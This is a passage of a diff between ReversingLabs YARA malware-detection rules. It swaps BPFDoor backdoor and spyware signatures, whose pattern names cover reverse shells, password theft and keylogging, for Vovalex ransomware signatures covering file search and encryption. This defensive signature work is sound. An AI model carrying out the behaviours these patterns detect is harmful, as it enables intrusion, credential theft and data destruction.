?? ?? ?? 13 ?? 07 6F ?? - ?? ?? ?? 11 ?? 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? DE ?? 26 DE ?? 11 ?? 6F ?? ?? ?? ?? 2D - ?? DE ?? 11 ?? 2C ?? 11 ?? 6F ?? ?? ?? ?? DC 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 6F ?? ?? - ?? ?? 13 ?? 2B ?? 12 ?? 28 ?? ?? ?? ?? 13 ?? 11 ?? 6F ?? ?? ?? ?? 13 ?? 11 ?? 2C ?? - 11 ?? 6F ?? ?? ?? ?? 16 31 ?? 07 6F ?? ?? ?? ?? 11 ?? 6F ?? ?? ?? ?? DE ?? 26 DE ?? - 12 ?? 28 ?? ?? ?? ?? 2D ?? DE ?? 12 ?? (FE | 16) ?? ?? ?? ?? ?? 6F ?? ?? ?? ?? DC 07 + $find_files_p2 = { + 8B 45 ?? 89 45 ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 0F 95 C0 84 + C0 0F 84 ?? ?? ?? ?? 8B 45 ?? 83 C0 ?? C7 44 24 ?? ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? + ?? 85 C0 74 ?? 8B 45 ?? 83 C0 ?? C7 44 24 ?? ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 85 + C0 74 ?? C6 85 ?? ?? ?? ?? ?? 8B 45 ?? 89 44 24 ?? 8D 85 ?? ?? ?? ?? 89 04 24 E8 ?? + ?? ?? ?? 8B 45 ?? 83 C0 ?? 89 44 24 ?? 8D 85 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 8D + 85 ?? ?? ?? ?? 89 45 ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 85 C0 0F 94 C0 84 C0 0F 84 + ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 85 C0 0F 85 ?? + ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? + ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? + ?? C7 44 24 ?? ?? ?? ?? ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? + C7 44 24 ?? ?? ?? ?? ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? C7 + 44 24 ?? ?? ?? ?? ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? C7 44 + 24 ?? ?? ?? ?? ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? C7 44 24 + ?? ?? ?? ?? ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 45 ?? 83 + C0 ?? C7 44 24 ?? ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 45 + ?? 83 C0 ?? C7 44 24 ?? ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? + 8B 45 ?? 83 C0 ?? C7 44 24 ?? ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? + ?? ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? E8 } - $process_key_action = { - 03 28 ?? ?? ?? ?? 2C ?? 02 17 7D ?? ?? ?? ?? 28 ?? ?? ?? ?? 0B 02 7B ?? ?? ?? ?? 1A - 8D ?? ?? ?? ?? 25 16 03 8C ?? ?? ?? ?? A2 25 17 04 8C ?? ?? ?? ?? A2 25 18 05 8C ?? - ?? ?? ?? A2 25 19 07 A2 6F ?? ?? ?? ?? 26 2A 02 7B ?? ?? ?? ?? 2C ?? 28 ?? ?? ?? ?? - 0C 02 17 7D ?? ?? ?? ?? 02 16 7D ?? ?? ?? ?? 02 7B ?? ?? ?? ?? 1A 8D ?? ?? ?? ?? 25 - 16 03 8C ?? ?? ?? ?? A2 25 17 04 8C ?? ?? ?? ?? A2 25 18 05 8C ?? ?? ?? ?? A2 25 19 - 08 A2 6F ?? ?? ?? ?? 26 2A 02 7B ?? ?? ?? ?? 39 ?? ?? ?? ?? 02 7B ?? ?? ?? ?? 6F ?? - ?? ?? ?? 0D 2B ?? 09 6F ?? ?? ?? ?? 74 ?? ?? ?? ?? 13 ?? 02 11 ?? 16 9A A5 ?? ?? ?? - ?? 11 ?? 17 9A A5 ?? ?? ?? ?? 11 ?? 18 9A A5 ?? ?? ?? ?? 11 ?? 19 9A 74 ?? ?? ?? ?? - 28 ?? ?? ?? ?? 11 ?? 16 9A A5 ?? ?? ?? ?? 28 ?? ?? ?? ?? 2C ?? 03 04 11 ?? 19 9A 74 - ?? ?? ?? ?? 18 73 ?? ?? ?? ?? 16 28 ?? ?? ?? ?? 26 09 6F ?? ?? ?? ?? 2D ?? DE ?? 09 - 75 ?? ?? ?? ?? 13 ?? 11 ?? 2C ?? 11 ?? 6F ?? ?? ?? ?? DC 02 7B ?? ?? ?? ?? 6F ?? ?? - ?? ?? 28 ?? ?? ?? ?? 0A 02 03 04 05 06 28 + $encrypt_files = { + C7 44 24 ?? ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? + C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? 83 + C0 ?? 89 44 24 ?? 8B 45 ?? 89 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? + E8 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 04 24 + ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? 89 44 24 ?? 8D 85 ?? ?? ?? ?? 89 44 24 ?? C7 44 + 24 ?? ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? + ?? ?? 8B 45 ?? 89 44 24 ?? 8D 85 ?? ?? ?? ?? 89 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? C7 + 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? 89 44 + 24 ?? 8D 85 ?? ?? ?? ?? 89 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? E8 + ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? 89 44 24 ?? 8D 85 ?? ?? ?? + ?? 89 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 04 24 + ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? B9 ?? ?? ?? ?? 89 C2 B8 + ?? ?? ?? ?? 89 D7 F2 AE 89 C8 F7 D0 8D 50 ?? 8D 85 ?? ?? ?? ?? 01 D0 66 C7 00 ?? ?? + 8B 45 ?? 83 E8 ?? 89 44 24 ?? 8D 85 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? E9 } condition: - uint16( 0 ) == 0x5A4D and ( ( $get_tcp_connections ) or ( all of ( $get_operating_system_information_p* ) ) or ( $take_screenshot ) or ( $get_passwords ) or ( $process_key_action ) ) + uint16( 0 ) == 0x5A4D and ( all of ( $find_files_p* ) ) and ( $encrypt_files ) } -rule REVERSINGLABS_Linux_Backdoor_Bpfdoor : TC_DETECTION MALICIOUS MALWARE FILE +rule REVERSINGLABS_Win64_Ransomware_Vovalex : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Yara rule that detects BPFDoor backdoor." + description = "Yara rule that detects Vovalex ransomware." author = "ReversingLabs" - id = "81e64491-b0fe-5062-86cc-074e05208077" - date = "2025-10-13" - modified = "2025-10-13" + id = "dd4d7969-1afc-5e5d-9324-89f432523173" + date = "2021-03-12" + modified = "2021-03-12" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/backdoor/Linux.Backdoor.BPFDoor.yara#L1-L326" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win64.Ransomware.Vovalex.yara#L1-L81" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "9d3c5408180f5aedca77229c3ecaa499b71530b51d715cb4f35397f0874a84b8" + logic_hash = "0c0f065224988bcba45b5aba2dceb080479b0bab235d544daabc3cae72e48318" score = 75 quality = 90 tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" category = "MALWARE" - tc_detection_type = "Backdoor" - tc_detection_name = "BPFDoor" + tc_detection_type = "Ransomware" + tc_detection_name = "Vovalex" tc_detection_factor = 5 importance = 25 strings: - $packet_loop_v1_p1 = { - 55 48 89 E5 53 48 81 EC ?? ?? ?? ?? 48 C7 45 ?? ?? ?? ?? ?? 48 8D 95 ?? ?? ?? ?? BB - ?? ?? ?? ?? B8 ?? ?? ?? ?? 48 89 D7 48 89 DE 48 89 C1 F3 48 A5 66 C7 85 ?? ?? FF FF - ?? ?? 48 8D 85 ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B7 - C0 89 C2 BE ?? ?? ?? ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 0F 8E ?? - ?? ?? ?? 48 8D 95 ?? ?? ?? ?? 8B 45 ?? 41 B8 ?? ?? ?? ?? 48 89 D1 BA ?? ?? ?? ?? BE - ?? ?? ?? ?? 89 C7 E8 ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? EB ?? 90 48 8D 85 ?? ?? - ?? ?? BA ?? ?? ?? ?? BE ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 48 - 8D 9D ?? ?? ?? ?? 8B 45 ?? 41 B9 ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? B9 ?? ?? ?? ?? BA ?? - ?? ?? ?? 48 89 DE 89 C7 E8 ?? ?? ?? ?? 89 45 ?? 48 8D 85 ?? ?? ?? ?? 48 83 C0 ?? 48 - 89 45 ?? 48 8B 45 ?? 0F B6 00 0F B6 C0 83 E0 ?? C1 E0 ?? 89 45 ?? 83 7D ?? ?? 7F ?? - 90 EB ?? 48 8B 45 ?? 0F B6 40 ?? 0F B6 C0 83 F8 ?? 74 ?? 83 F8 ?? 74 ?? 83 F8 ?? 74 - ?? E9 ?? ?? ?? ?? 8B 45 ?? 48 98 48 8D 50 ?? 48 8D 85 ?? ?? ?? ?? 48 01 D0 48 89 45 - ?? 48 8B 45 ?? 0F B6 40 ?? C0 E8 ?? 0F B6 C0 C1 E0 ?? 89 45 ?? 8B 45 ?? 48 63 D0 8B - 45 ?? 48 98 48 8D 04 02 48 8D 50 ?? 48 8D 85 ?? ?? ?? ?? 48 01 D0 48 89 45 ?? EB ?? - 48 8B 45 ?? 48 83 C0 ?? 48 89 45 ?? 48 8B 45 ?? 48 83 C0 ?? 48 89 45 ?? EB ?? 48 8B + $encrypt_files = { + 48 8D 95 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? 48 8B BD ?? ?? ?? ?? + 48 89 BD ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? 48 83 EC ?? E8 ?? ?? ?? ?? 48 83 C4 ?? 48 + 89 85 ?? ?? ?? ?? 48 89 95 ?? ?? ?? ?? 48 83 BD ?? ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 48 + 8B 9D ?? ?? ?? ?? 48 8B 53 ?? 48 8B 03 48 89 85 ?? ?? ?? ?? 48 89 95 ?? ?? ?? ?? 48 + 8D 8D ?? ?? ?? ?? 48 83 EC ?? E8 ?? ?? ?? ?? 48 83 C4 ?? 83 F8 ?? 75 ?? 48 8B B5 ?? + ?? ?? ?? 48 8B 56 ?? 48 8B 06 48 89 85 ?? ?? ?? ?? 48 89 95 ?? ?? ?? ?? 48 8D 95 ?? + ?? ?? ?? 8B 8D ?? ?? ?? ?? 48 83 EC ?? E8 ?? ?? ?? ?? 48 83 C4 ?? 48 8B 9D ?? ?? ?? + ?? 48 8B 53 ?? 48 8B 03 48 89 85 ?? ?? ?? ?? 48 89 95 ?? ?? ?? ?? 48 8D 8D ?? ?? ?? + ?? 48 83 EC ?? E8 ?? ?? ?? ?? 48 83 C4 ?? 48 3D ?? ?? ?? ?? 0F 87 ?? ?? ?? ?? 48 83 + EC ?? 48 8B 85 ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? 48 8B 9D ?? ?? ?? ?? 48 89 9D ?? ?? + ?? ?? 48 8D B5 ?? ?? ?? ?? 56 48 89 85 ?? ?? ?? ?? 48 89 9D ?? ?? ?? ?? 48 8D 15 ?? + ?? ?? ?? 48 89 95 ?? ?? ?? ?? 48 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 48 8B 0D ?? ?? ?? ?? + 48 89 8D ?? ?? ?? ?? 48 8B 05 ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? 48 8D 9D ?? ?? ?? ?? + 48 89 9D ?? ?? ?? ?? 48 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 48 8D 95 ?? ?? ?? ?? 48 8D 0D + ?? ?? ?? ?? 48 83 EC ?? E8 ?? ?? ?? ?? 48 83 C4 ?? 48 89 85 ?? ?? ?? ?? 48 89 95 ?? + ?? ?? ?? 4C 8D 8D ?? ?? ?? ?? 48 8B 05 ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? 48 8B 1D ?? + ?? ?? ?? 48 89 9D ?? ?? ?? ?? 4C 8D 85 ?? ?? ?? ?? 48 8B 0D ?? ?? ?? ?? 48 89 8D ?? + ?? ?? ?? 48 8B 15 ?? ?? ?? ?? 48 89 95 ?? ?? ?? ?? 48 8D 95 ?? ?? ?? ?? B9 ?? ?? ?? + ?? 48 83 EC ?? E8 ?? ?? ?? ?? 48 83 C4 } - $packet_loop_v1_p2 = { - 45 ?? 48 83 C0 ?? 48 89 45 ?? 48 8B 45 ?? 48 83 C0 ?? 48 89 45 ?? 48 83 7D ?? ?? 0F - 84 ?? ?? ?? ?? 48 8B 45 ?? 8B 40 ?? 83 F8 ?? 75 ?? 48 8B 45 ?? 8B 40 ?? 89 45 ?? EB - ?? 48 8B 45 ?? 8B 40 ?? 89 45 ?? E8 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 74 ?? 8B 45 ?? - BA ?? ?? ?? ?? BE ?? ?? ?? ?? 89 C7 E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? C7 45 EC 00 00 00 - 00 48 C7 85 70 FC FF FF 00 00 00 00 48 C7 85 78 FC FF FF 00 00 00 00 C7 85 80 FC FF - FF 00 00 00 00 C6 85 50 FC FF FF 2F C6 85 51 FC FF FF 75 C6 85 52 FC FF FF 73 C6 85 - 53 FC FF FF 72 C6 85 54 FC FF FF 2F C6 85 55 FC FF FF 6C C6 85 56 FC FF FF 69 C6 85 - 57 FC FF FF 62 C6 85 58 FC FF FF 65 C6 85 59 FC FF FF 78 C6 85 5A FC FF FF 65 C6 85 - 5B FC FF FF 63 C6 85 5C FC FF FF 2F C6 85 5D FC FF FF 70 C6 85 5E FC FF FF 6F C6 85 - 5F FC FF FF 73 C6 85 60 FC FF FF 74 C6 85 61 FC FF FF 66 C6 85 62 FC FF FF 69 C6 85 - 63 FC FF FF 78 C6 85 64 FC FF FF 2F C6 85 65 FC FF FF 6D C6 85 66 FC FF FF 61 C6 85 - 67 FC FF FF 73 C6 85 68 FC FF FF 74 C6 85 69 FC FF FF 65 C6 85 6A FC FF FF 72 C6 85 - 6B FC FF FF 00 E8 ?? ?? ?? ?? 85 C0 74 ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? - ?? BE ?? ?? ?? ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 05 ?? ?? ?? ?? 48 89 C7 E8 ?? - ?? ?? ?? 48 89 C2 48 8B 05 ?? ?? ?? ?? BE ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 48 8D + $find_files_p1 = { + 48 89 C6 48 8D 0D ?? ?? ?? ?? 48 83 EC ?? E8 ?? ?? ?? ?? 48 83 C4 ?? 48 89 C1 48 83 + EC ?? E8 ?? ?? ?? ?? 48 83 C4 ?? 48 89 06 48 89 56 ?? 48 8D 0D ?? ?? ?? ?? 48 83 EC + ?? E8 ?? ?? ?? ?? 48 83 C4 ?? 48 89 C1 48 83 EC ?? E8 ?? ?? ?? ?? 48 83 C4 ?? 48 89 + 46 ?? 48 89 56 ?? 48 8D 0D ?? ?? ?? ?? 48 83 EC ?? E8 ?? ?? ?? ?? 48 83 C4 ?? 48 89 + C1 48 83 EC ?? E8 ?? ?? ?? ?? 48 83 C4 ?? 48 89 46 ?? 48 89 56 ?? 48 8D 0D ?? ?? ?? + ?? 48 83 EC ?? E8 ?? ?? ?? ?? 48 83 C4 ?? 48 89 C1 48 83 EC ?? E8 ?? ?? ?? ?? 48 83 + C4 ?? 48 89 46 ?? 48 89 56 ?? 48 8D 0D ?? ?? ?? ?? 48 83 EC ?? E8 ?? ?? ?? ?? 48 83 + C4 ?? 48 89 C1 48 83 EC ?? E8 ?? ?? ?? ?? 48 83 C4 ?? 48 89 46 ?? 48 89 56 ?? 48 8D + 0D ?? ?? ?? ?? 48 83 EC ?? E8 ?? ?? ?? ?? 48 83 C4 ?? 48 89 C1 48 83 EC ?? E8 ?? ?? + ?? ?? 48 83 C4 ?? 48 89 46 ?? 48 89 56 ?? 48 89 B5 ?? ?? ?? ?? 48 C7 85 ?? ?? ?? ?? + ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? B8 ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? 48 89 95 ?? ?? + ?? ?? BA ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? 48 83 EC ?? E8 ?? ?? ?? ?? 48 83 C4 ?? 48 } - $packet_loop_v1_p3 = { - 95 ?? ?? ?? ?? 48 8B 05 ?? ?? ?? ?? 48 89 D6 48 89 C7 E8 ?? ?? ?? ?? 48 8D 85 ?? ?? - ?? ?? 48 89 C6 BF ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 45 ?? 48 83 C0 ?? - 48 89 C7 E8 ?? ?? ?? ?? 89 C1 48 8B 45 ?? 48 83 C0 ?? BA ?? ?? ?? ?? 89 CE 48 89 C7 - E8 ?? ?? ?? ?? 48 8B 45 ?? 48 83 C0 ?? 48 89 C7 E8 ?? ?? ?? ?? 89 C1 48 8B 45 ?? 48 - 83 C0 ?? BA ?? ?? ?? ?? 89 CE 48 89 C7 E8 ?? ?? ?? ?? 48 8B 45 ?? 48 83 C0 ?? 48 89 - C7 E8 ?? ?? ?? ?? 89 45 ?? 8B 45 ?? 83 F8 ?? 74 ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 85 C0 - 74 ?? E9 ?? ?? ?? ?? 48 8B 45 ?? 8B 40 ?? 89 C7 E8 ?? ?? ?? ?? 48 89 C2 48 8D 85 ?? - ?? ?? ?? 48 89 D6 48 89 C7 E8 ?? ?? ?? ?? 48 8B 45 ?? 0F B7 40 ?? 0F B7 C0 89 C7 E8 - ?? ?? ?? ?? 0F B7 D0 48 8D 85 ?? ?? ?? ?? 89 D6 48 89 C7 E8 ?? ?? ?? ?? EB ?? 48 8B - 45 ?? 0F B7 40 ?? 0F B7 D0 8B 45 ?? 89 D6 89 C7 E8 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? - 7E ?? 8B 45 ?? BA ?? ?? ?? ?? BE ?? ?? ?? ?? 89 C7 E8 ?? ?? ?? ?? EB ?? 48 8B 45 ?? - 0F B7 40 ?? 0F B7 D0 8B 45 + $find_files_p2 = { + 89 C3 48 8B 95 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? 48 89 03 48 89 53 ?? 48 8D 15 ?? ?? + ?? ?? BF ?? ?? ?? ?? 48 89 7B ?? 48 89 53 ?? 48 8D 0D ?? ?? ?? ?? B8 ?? ?? ?? ?? 48 + 89 43 ?? 48 89 4B ?? 48 89 9D ?? ?? ?? ?? 48 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 45 31 C0 + 4C 89 85 ?? ?? ?? ?? 4C 8D A5 ?? ?? ?? ?? 49 C7 04 24 ?? ?? ?? ?? 49 8B 14 24 48 89 + 95 ?? ?? ?? ?? 4C 89 85 ?? ?? ?? ?? 4C 8D AD ?? ?? ?? ?? 49 B9 ?? ?? ?? ?? ?? ?? ?? + ?? 4D 89 4D ?? 49 8B 4D ?? 48 89 8D ?? ?? ?? ?? 4C 89 85 ?? ?? ?? ?? 4C 8D B5 ?? ?? + ?? ?? 4D 89 06 49 8B 16 48 8D 8D ?? ?? ?? ?? 48 83 EC ?? E8 ?? ?? ?? ?? 48 83 C4 ?? + 45 31 C0 41 3B C0 7E ?? 41 BF ?? ?? ?? ?? 4C 89 85 ?? ?? ?? ?? 4C 8D 8D ?? ?? ?? ?? + 4D 69 D7 ?? ?? ?? ?? 4D 89 11 4C 89 D2 48 8D 8D ?? ?? ?? ?? 48 83 EC ?? E8 ?? ?? ?? + ?? 48 83 C4 ?? 45 31 C0 41 3B C0 79 ?? 4C 89 85 ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? 48 + C7 01 ?? ?? ?? ?? 48 8B 01 48 89 85 ?? ?? ?? ?? 48 8B 95 ?? ?? ?? ?? 48 8D 8D ?? ?? + ?? ?? 48 83 EC ?? E8 ?? ?? ?? ?? 48 83 C4 ?? 85 C0 7E ?? 48 8B 9D ?? ?? ?? ?? 48 B8 + ?? ?? ?? ?? ?? ?? ?? ?? 48 F7 EB } - $reverse_shell_v1_p1 = { - 48 89 C7 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? BE ?? ?? ?? ?? 89 C7 E8 ?? - ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 75 ?? E8 ?? ?? ?? ?? 85 C0 75 ?? 8B 85 - ?? ?? ?? ?? BE ?? ?? ?? ?? 89 C7 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? BE ?? ?? ?? ?? 89 - C7 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? BE ?? ?? ?? ?? 89 C7 E8 ?? ?? ?? ?? 48 8D 95 ?? - ?? ?? ?? 48 8D 8D ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 89 CE 48 89 C7 E8 ?? ?? ?? ?? - 8B 85 ?? ?? ?? ?? 89 C7 E8 ?? ?? ?? ?? B8 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? 5B C9 C3 - E8 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 0F 85 ?? ?? ?? ?? 8B 05 ?? ?? ?? ?? 89 C7 E8 ?? - ?? ?? ?? 8B 05 ?? ?? ?? ?? BE ?? ?? ?? ?? 89 C7 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 - ?? ?? ?? ?? 89 C7 E8 ?? ?? ?? ?? 8B 05 ?? ?? ?? ?? BE ?? ?? ?? ?? 89 C7 E8 ?? ?? ?? - ?? 8B 05 ?? ?? ?? ?? BE ?? ?? ?? ?? 89 C7 E8 ?? ?? ?? ?? 8B 05 ?? ?? ?? ?? BE ?? ?? - ?? ?? 89 C7 E8 ?? ?? ?? ?? 8B 05 ?? ?? ?? ?? 89 C7 E8 ?? ?? ?? ?? 48 8D 95 ?? ?? ?? - ?? 48 8D 8D ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 89 CE 48 89 C7 E8 ?? ?? ?? ?? 8B 05 - ?? ?? ?? ?? 89 C7 E8 ?? ?? ?? ?? EB ?? 90 EB ?? 90 EB ?? 90 B8 ?? ?? ?? ?? BA ?? ?? - ?? ?? 48 8D 9D ?? ?? ?? ?? 48 89 D1 48 89 DF FC F3 48 AB 89 F8 89 CA 89 55 ?? 89 45 - ?? 8B 05 ?? ?? ?? ?? 48 98 48 C1 E8 ?? 48 89 C2 48 8B 84 C5 ?? ?? ?? ?? 8B 0D ?? ?? - ?? ?? 83 E1 ?? BB ?? ?? ?? ?? 48 89 DE 48 D3 E6 48 89 F1 48 09 C8 48 89 84 D5 ?? ?? - ?? ?? 8B 85 ?? ?? ?? ?? 48 98 48 C1 E8 ?? 48 89 C2 48 8B 84 C5 ?? ?? ?? ?? 8B 8D ?? - ?? ?? ?? 83 E1 ?? BB ?? ?? ?? ?? 48 89 DF 48 D3 E7 48 89 F9 48 09 C8 48 89 84 D5 ?? - ?? ?? ?? 8B 05 ?? ?? ?? ?? 3B 85 ?? ?? ?? ?? 7E ?? 8B 05 ?? ?? ?? ?? 83 C0 ?? EB - } - $reverse_shell_v1_p2 = { - 8B 85 ?? ?? ?? ?? 83 C0 ?? 48 8D 9D ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? B9 ?? ?? ?? ?? BA - ?? ?? ?? ?? 48 89 DE 89 C7 E8 ?? ?? ?? ?? 85 C0 0F 88 ?? ?? ?? ?? 8B 05 ?? ?? ?? ?? - 48 98 48 C1 E8 ?? 48 8B 84 C5 ?? ?? ?? ?? 48 89 C2 8B 05 ?? ?? ?? ?? 83 E0 ?? 48 89 - D3 89 C1 48 D3 EB 48 89 D8 83 E0 ?? 84 C0 74 ?? 8B 05 ?? ?? ?? ?? 48 8D 8D ?? ?? ?? - ?? BA ?? ?? ?? ?? 48 89 CE 89 C7 E8 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 0F 8E ?? ?? ?? - ?? 8B 55 ?? 48 8D 8D ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 48 89 CE 89 C7 E8 ?? ?? ?? ?? 85 - C0 0F 8E ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 48 98 48 C1 E8 ?? 48 8B 84 C5 ?? ?? ?? ?? 48 - 89 C2 8B 85 ?? ?? ?? ?? 83 E0 ?? 48 89 D3 89 C1 48 D3 EB 48 89 D8 83 E0 ?? 84 C0 0F - 84 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 89 45 ?? 48 8D 8D ?? ?? ?? ?? 8B 85 ?? ?? ?? - ?? BA ?? ?? ?? ?? 48 89 CE 89 C7 E8 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 0F 8E ?? ?? ?? - ?? 8B 45 ?? 48 63 D0 48 8D 85 ?? ?? ?? ?? BE ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 48 - 89 45 ?? 48 83 7D ?? ?? 0F 84 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 89 C2 48 8B 45 ?? 29 - C2 8B 45 ?? 8D 04 02 89 45 ?? 83 7D ?? ?? 7E ?? C7 45 ?? ?? ?? ?? ?? 8B 45 ?? 48 63 - D0 48 8B 4D ?? 48 8D 85 ?? ?? ?? ?? 48 89 CE 48 89 C7 E8 ?? ?? ?? ?? 83 7D ?? ?? 7F - ?? B8 ?? ?? ?? ?? 89 C2 2B 55 ?? 8B 45 ?? 48 63 C8 48 8D 85 ?? ?? ?? ?? 48 01 C8 8B - } - $reverse_shell_v1_p3 = { - 8D ?? ?? ?? ?? 48 89 C6 89 CF E8 ?? ?? ?? ?? 89 45 ?? 66 C7 85 ?? ?? FF FF ?? ?? 0F - B7 85 ?? ?? ?? ?? 66 89 85 ?? ?? FF FF 0F B6 85 ?? ?? ?? ?? 0F B6 C0 89 C2 C1 E2 ?? - 0F B6 85 ?? ?? ?? ?? 0F B6 C0 8D 04 02 66 89 85 ?? ?? FF FF 0F B6 85 ?? ?? ?? ?? 0F - B6 C0 89 C2 C1 E2 ?? 0F B6 85 ?? ?? ?? ?? 0F B6 C0 8D 04 02 66 89 85 ?? ?? FF FF 8B - 05 ?? ?? ?? ?? 48 8D 95 ?? ?? ?? ?? BE ?? ?? ?? ?? 89 C7 B8 ?? ?? ?? ?? E8 ?? ?? ?? - ?? BE ?? ?? ?? ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 55 ?? 48 8D 85 ?? ?? ?? ?? 48 - 89 D6 48 29 C6 48 89 F0 48 89 C2 8B 05 ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? 48 89 CE 89 - C7 E8 ?? ?? ?? ?? 89 45 ?? 48 8D 85 ?? ?? ?? ?? 89 C2 8B 45 ?? 01 C2 48 8B 45 ?? 89 - D7 29 C7 89 F8 83 E8 ?? 89 45 ?? 83 7D ?? ?? 0F 8E ?? ?? ?? ?? 8B 45 ?? 48 63 D0 48 - 8B 45 